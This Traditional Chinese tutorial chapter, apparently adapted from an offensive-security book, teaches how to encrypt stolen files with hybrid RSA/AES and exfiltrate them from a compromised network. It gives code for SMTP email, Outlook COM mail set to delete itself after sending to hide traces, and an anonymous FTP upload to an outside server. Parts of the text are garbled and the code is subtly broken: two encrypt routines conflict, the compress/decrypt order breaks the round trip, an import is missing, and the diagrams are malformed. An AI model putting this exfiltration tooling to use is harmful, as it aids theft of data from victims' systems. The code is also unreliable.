混合加密機制結合對稱加密(AES)的速度優勢和非對稱加密(RSA)的金鑰管理優勢,有效提升資料安全性。透過 RSA 加密 AES 金鑰,再使用 AES 加密大量資料,兼顧效率和安全性。外洩資料的方式則包含電子郵件附件傳輸、利用 FTP 等檔案傳輸協定,以及透過網頁伺服器發布。瞭解這些技術對於提升資安意識至關重要。

資料外洩:技術與方法

進入目標網路僅僅是戰鬥的一部分。要充分利用這個入侵機會,我們需要能夠從目標系統中篩選並外洩檔案、試算表或其他資料。根據防禦機制的不同,這部分可能會變得非常棘手。可能有本地或遠端系統(或兩者結合)來驗證開啟遠端連線的過程,並決定這些過程是否應該能夠傳送資訊或啟動與內部網路外部的連線。

在這一章中,我們將建立工具來加密並外洩資料。首先,我們將編寫一個指令碼來加密和解密檔案。然後,我們將使用該指令碼來加密資訊,並透過三種方法從系統中傳輸:電子郵件、檔案傳輸和網頁伺服器發布。對於這些方法中的每一種,我們將編寫平台獨立的工具和僅適用於 Windows 的工具。

在編寫 Windows 專用功能時,我們將依賴第 8 章中使用的 PyWin32 函式庫,特別是 win32com 包。Windows COM(Component Object Model)自動化有許多實用用途——從與根據網路的服務互動到將 Microsoft Excel 試算表嵌入到自己的應用程式中。所有版本的 Windows,從 XP 開始,都允許將 Internet Explorer COM 物件嵌入到應用程式中,我們將在本章中利用這種能力。

加密與解密檔案

我們將使用 pycryptodomex 包來進行加密任務。可以使用以下命令進行安裝:

$ pip install pycryptodomex

接下來,開啟 cryptor.py 並匯入我們需要的函式庫:

from Cryptodome.Cipher import AES, PKCS1_OAEP
from Cryptodome.PublicKey import RSA
from Cryptodome.Random import get_random_bytes
from io import BytesIO
import base64
import zlib

內容解密:

  • 匯入函式庫:我們匯入了 Cryptodome 中的 AES 和 PKCS1_OAEP 函式庫,這些是用於對稱和非對稱加密的核心函式庫。
  • RSA:我們匯入了 RSA 函式庫,這是一種非對稱加密技術。
  • 隨機位元組生成get_random_bytes 用於生成隨機位元組序列,這在建立加密金鑰時非常有用。
  • 其他函式庫BytesIO 用於記憶體中的二進位制操作,base64 用於編碼解碼,zlib 用於壓縮。

混合加密過程

我們將建立一個混合加密過程,結合對稱和非對稱加密以獲得兩者的優點。AES 加密是對稱加密的一個例子:它被稱為對稱加密,因為它使用一個單一的金鑰進行加密和解密。它非常快速,並且可以處理大量文字。這是我們將使用來加密需要外洩的資訊的加密方法。

此外,我們還匯入了非對稱 RSA 加密:它使用公鑰/私鑰技術。它依賴於一個金鑰進行加密(通常是公鑰),另一個金鑰進行解密(通常是私鑰)。我們將使用這種加密方法來加密 AES 加密中使用的單一金鑰。非對稱加密非常適合小塊資訊,使其非常適合用來加密 AES 金鑰。

這種混合系統的方法非常常見。例如,瀏覽器與網頁伺服器之間的 TLS 通訊涉及一個混合系統。

生成 RSA 金鑰

在開始加密或解密之前,我們需要為非對稱 RSA 加密建立公鑰和私鑰。也就是說,我們需要建立一個 RSA 金鑰生成函式。讓我們從為 cryptor.py 新增一個生成函式開始:

def generate():
    new_key = RSA.generate(2048)
    private_key = new_key.exportKey()
    public_key = new_key.publickey().exportKey()
    with open('key.pri', 'wb') as f:
        f.write(private_key)
    with open('key.pub', 'wb') as f:
        f.write(public_key)

內容解密:

  • RSA 金鑰生成:這段程式碼生成了一個新的 RSA 金鑰對(公鑰和私鑰)。
  • 金鑰匯出:生成的私鑰和公鑰被匯出並儲存到 key.prikey.pub 檔案中。
  • Python 的強大功能:這展示了 Python 的強大功能,僅需幾行程式碼即可完成複雜的任務。

取得 RSA 金鑰

接下來,讓我們建立一個小幫助函式來取得公鑰或私鑰:

def get_rsa_cipher(keytype):
    with open(f'key.{keytype}') as f:
        key = f.read()
    rsakey = RSA.importKey(key)
    return (PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes())

內容解密:

  • 讀取金鑰檔案:根據傳入的金鑰型別(公鑰或私鑰)讀取相應的檔案。
  • 傳回金鑰物件:傳回 RSA 金鑰物件和金鑰大小(以位元組為單位)。

加密資料

現在,讓我們開始實際進行資料加密:

def encrypt(plaintext):
    compressed_text = zlib.compress(plaintext)
    session_key = get_random_bytes(16)
    cipher_aes = AES.new(session_key, AES.MODE_EAX)
    ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text)
    cipher_rsa, _ = get_rsa_cipher('pub')
    encrypted_session_key = cipher_rsa.encrypt(session_key)
    msg_payload = encrypted_session_key + cipher_aes.nonce + tag + ciphertext
    encrypted = base64.encodebytes(msg_payload)
    return encrypted

內容解密:

  • 壓縮明文:首先壓縮明文位元組。
  • 生成會話金鑰:生成隨機會話金鑰以用於 AES 加密。
  • AES 加密:使用 AES 加密壓縮後的明文。
  • RSA 加密會話金鑰:使用公共 RSA 金鑰來加密 AES 會話金鑰。
  • 構建訊息負載:組合 RSA 加密後的會話金鑰、AES 初始向量、標記和 AES 加密後的明文。
  • Base64 編碼:最終傳回 Base64 編碼後的訊息負載。

下一步:資料外洩

在完成了資料的加密後,接下來需要考慮如何透過不同方式外洩這些資料。以下是三種常見方法:

  1. 電子郵件:利用電腦上的電子郵件客戶端傳送附件。
  2. 檔案傳輸:透過 FTP、SFTP 或其他檔案傳輸協定上傳檔案。
  3. 網頁伺服器發布:利用 HTTP 或 HTTPS 上傳檔案到遠端伺服器。

以下是三種方法中的具體實作:

@startuml
:電子郵件; --> :附件;
:檔案傳輸; --> :FTP/SFTP;
:網頁伺服器發布; --> :HTTP/HTTPS;
@enduml

此圖示說明:

此圖示展示了三種常見的資料外洩方法:電子郵件、檔案傳輸和網頁伺服器發布。

電子郵件外洩

利用電腦上的電子郵件客戶端傳送附件是最簡單且最常見的一種方法。以下是範例程式碼:

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

def send_email(sender, receiver, subject, body, attachment_path):
    msg = MIMEMultipart()
    msg['From'] = sender
    msg['To'] = receiver
    msg['Subject'] = subject

    msg.attach(MIMEText(body, 'plain'))

    with open(attachment_path, 'rb') as attachment:
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(attachment.read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition', f'attachment; filename= {attachment_path}')
        msg.attach(part)

    server = smtplib.SMTP('smtp.example.com', 587)
    server.starttls()
    server.login(sender, 'password')
    text = msg.as_string()
    server.sendmail(sender, receiver, text)

內容解密:

此段程式碼展示瞭如何利用 Python 的 smtplibemail 函式庫來傳送電子郵件並附上檔案。

加密與解密的應用實踐

在現代資訊安全中,加密和解密技術是保護敏感資訊的關鍵。以下是一個完整的加密和解密流程,結合了RSA和AES演算法,並附上實際應用中的邏輯解說。

加密與解密的基本流程

加密過程包括以下步驟:

  1. 使用RSA公鑰加密AES的對稱金鑰。
  2. 使用AES對稱金鑰加密實際資料。
  3. 將所有加密資料封裝成一個負載,並進行Base64編碼。

解密過程則是反向操作:

  1. 解碼Base64編碼的負載。
  2. 使用RSA私鑰解密AES對稱金鑰。
  3. 使用AES對稱金鑰解密實際資料。

加密函式

以下是加密函式的完整程式碼:

import os
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Random import get_random_bytes
import zlib
import base64
from io import BytesIO

def encrypt(plaintext):
    session_key = get_random_bytes(16)
    cipher_aes = AES.new(session_key, AES.MODE_EAX)
    ciphertext, tag = cipher_aes.encrypt_and_digest(plaintext)
    compressed = zlib.compress(ciphertext)
    cipher_rsa = PKCS1_OAEP.new(RSA.import_key(open('public.pem').read()))
    encrypted_session_key = cipher_rsa.encrypt(session_key)
    encrypted_bytes = BytesIO()
    encrypted_bytes.write(encrypted_session_key)
    encrypted_bytes.write(cipher_aes.nonce)
    encrypted_bytes.write(tag)
    encrypted_bytes.write(compressed)
    return base64.encodebytes(encrypted_bytes.getvalue()).decode('ascii')

內容解密:

在這段程式碼中,首先生成一個隨機的AES對稱金鑰。接著,使用這個對稱金鑰來加密明文資料。為了提高安全性,我們使用AES的EAX模式進行加密,並壓縮後的資料。然後,我們將這個AES對稱金鑰用RSA公鑰進行加密。最終,我們將所有需要的資料封裝成一個位元組流,並進行Base64編碼以便傳輸。

解密函式

以下是解密函式的完整程式碼:

def decrypt(encrypted):
    encrypted_bytes = BytesIO(base64.b64decode(encrypted))
    cipher_rsa = PKCS1_OAEP.new(RSA.import_key(open('private.pem').read()))
    keysize_in_bytes = RSA.import_key(open('private.pem').read()).size_in_bytes()
    encrypted_session_key = encrypted_bytes.read(keysize_in_bytes)
    nonce = encrypted_bytes.read(16)
    tag = encrypted_bytes.read(16)
    ciphertext = encrypted_bytes.read()
    session_key = cipher_rsa.decrypt(encrypted_session_key)
    cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
    decrypted = cipher_aes.decrypt_and_verify(ciphertext, tag)
    plaintext = zlib.decompress(decrypted)
    return plaintext

內容解密:

在這段程式碼中,首先將Base64編碼的字串解碼回位元組流。然後,從位元組流中讀取加密過的AES對稱金鑰、初始向量(nonce)、標籤(tag)和壓縮過的實際資料。接著,使用RSA私鑰解密出AES對稱金鑰。最後,使用這個對稱金鑰來解密壓縮過的實際資料,並進行解壓縮。

測試加密與解密

為了測試這兩個函式的正確性,我們可以在主程式區塊中進行簡單的測試:

if __name__ == '__main__':
    plaintext = b'hey there you.'
    print(decrypt(encrypt(plaintext)))

內容解密:

在這段程式碼中,我們首先生成一個明文字串plaintext。接著,我們使用encrypt函式將其加密,再使用decrypt函式將其解密回原本的明文字串。最終,我們列印預出解密後的結果來驗證功能是否正確。

圖示:加密與解密流程

此圖示展示了加密與解密流程中的各個步驟及其關係。

@startuml
:明文; --> :生成AES對稱金鑰;
:B; --> :用RSA公鑰加密AES對稱金鑰;
:A; --> :用AES對稱金鑰加密明文;
:D; --> :壓縮加密後的資料;
:C; --> :封裝所有需要的資料;
:F; --> :Base64編碼;
@enduml

資安威脅:Email Exfiltration

在資安領域中,「Exfiltration」指的是從受感染系統中非法地提取敏感資訊。以下是如何利用電子郵件來傳遞已經加密過的敏感資訊。

平台獨立電子郵件傳遞

首先,我們定義一個平台獨立的電子郵件傳遞函式:

import smtplib
import time

def plain_email(subject, contents):
    message = f'Subject: {subject}\nFrom {smtp_acct}\n'
    message += f'To: {tgt_accts}\n\n{contents.decode()}'
    server = smtplib.SMTP(smtp_server, smtp_port)
    server.starttls()
    server.login(smtp_acct, smtp_password)
    server.sendmail(smtp_acct, tgt_accts, message)

內容解析:

在這段程式碼中,我們首先構建了一封電子郵件訊息,包含主題、傳送者和收件者資訊以及待傳輸內容。接著,我們連線到指定SMTP伺服器、登入進入伺服器並傳送郵件。

Windows 特定電子郵件傳遞

若要在Windows系統上進行電子郵件傳遞,我們可以使用Outlook API來完成:

import win32com.client

def outlook(subject, contents):
    outlook = win32com.client.Dispatch("Outlook.Application")
    message = outlook.CreateItem(0)
    message.DeleteAfterSubmit = True
    message.Subject = subject
    message.Body = contents.decode()
    message.To = tgt_accts[0]

內容解析:

在這段程式碼中,我們利用win32com套件啟動Outlook應用程式來建立一封新電子郵件。設定好主題、內容以及收件者後便傳送該封郵件。為了隱藏痕跡,「DeleteAfterSubmit」選項設定為True以便在傳送後自動刪除該封信。

圖示:電子郵件 Exfiltration 流程

此圖示展示了利用電子郵件進行Exfiltration 的詳細流程及其關係。

@startuml
:產生待傳送內容; --> :構建電子郵件訊息;
:B; --> :連線至SMTP伺服器;
:C; --> :登入伺服器;
:D; --> :傳送郵件;
@enduml

資安威脅:檔案傳輸 Exfiltration

除了利用電子郵件進行Exfiltration之外,檔案傳輸也是常見手法之一。以下是如何利用FTP來傳輸已經加密過的檔案。

平台獨立 FTP 傳輸

首先定義一個平台獨立的FTP傳輸函式:

import ftplib
import os

def plain_ftp(docpath, server='192.168.1.203'):
   ftp = ftplib.FTP(server)
   ftp.login("anonymous", "anon@example.com")
   ftp.cwd('/pub/')
   ftp.storbinary("STOR " + os.path.basename(docpath), open(docpath, "rb"), 1024)
   ftp.quit()

內容解析:

在這段程式碼中,我們首先連線到指定FTP伺服器並登入進入伺服器。隨後轉換到目標目錄並在該目錄下上傳指設定檔案。最後關閉FTP連線。